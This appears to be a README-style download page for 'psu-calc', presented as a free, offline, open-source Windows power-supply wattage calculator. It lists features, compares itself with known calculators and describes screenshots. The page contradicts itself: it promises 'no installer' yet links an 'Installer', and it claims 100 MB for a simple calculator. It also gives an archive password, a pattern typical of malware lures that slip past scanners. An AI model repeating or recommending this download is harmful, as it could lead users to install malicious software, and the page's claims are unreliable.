🔋 Free, open-source PSU wattage calculator for Windows — size a power supply from real component presets offline. 100 MB portable, MIT.
- ✅ Component preset database — CPUs and GPUs with stock and overclocked draw values, updated with new launches
- ✅ Custom TDP entry — add unlisted parts by wattage so exotic builds still get an answer
- ✅ Transient headroom math — models GPU power spikes, not just average TDP, and recommends a safe ceiling
- ✅ Connector checklist — counts required PCIe 8-pin and 12VHPWR plugs against typical PSU configs
- ✅ Duty-cycle sweet spot — shows the 40 to 60 percent load band where efficiency and fan noise peak
- ✅ Build save and compare — store several configurations and diff their estimated draw side by side
- ✅ 100 MB self-contained exe — database bundled, portable, offline, MIT with SHA-256 releases
- MIT licensed, source in the open
- No ads, no account, no telemetry
- Single portable 100 MB exe - no installer, runs offline
- CI builds every release and publishes SHA-256 checksums
- Windows 10 / 11 x64
| Feature | psu-calc | OuterVision | PCPartPicker | CM Calculator |
|---|---|---|---|---|
| Price | Free, MIT | Freemium | Free web | Free web |
| Open source | Yes | No | No | No |
| Transient spike modeling | Yes | Paid tier | No | No |
| Offline, no account | Yes | No | No | No |
| Connector count checklist | Yes | No | Partial | No |
| Portable, no install | Yes, 100 MB | Web | Web | Web |
how many watts do I need for my PC build?
Average-TDP math undersizes modern GPUs because real boards spike far above their rating for microseconds, which is where instability stories start. psu-calc models those transients, adds the 40 to 60 percent efficiency band, and counts the PCIe connectors the wattage implies. It is a 100 MB portable exe, MIT, fully offline with a bundled preset database.
All screenshots describe the 1280x800 dark UI.
- Dark builder (#121417, orange #FB923C): CPU and GPU pickers, RAM and drive steppers, live wattage gauge needle resting at 642 W.
- Transient panel: spike graph peaking 1.8x TDP, recommended PSU range chip 750 to 850 W, efficiency band slider green.
- Connector checklist: PCIe 8-pin count 3 of 4 satisfied, 12VHPWR row, saved builds list below with compare checkboxes.
| Source | Link |
|---|---|
| 💾 Installer psu-calc | Installer psu-calc |
Archive password:
5139237619
Requires the .NET SDK on Windows 10/11 x64:
dotnet publish -c Release -r win-x64 --self-contained -p:PublishSingleFile=true
MIT. See LICENSE.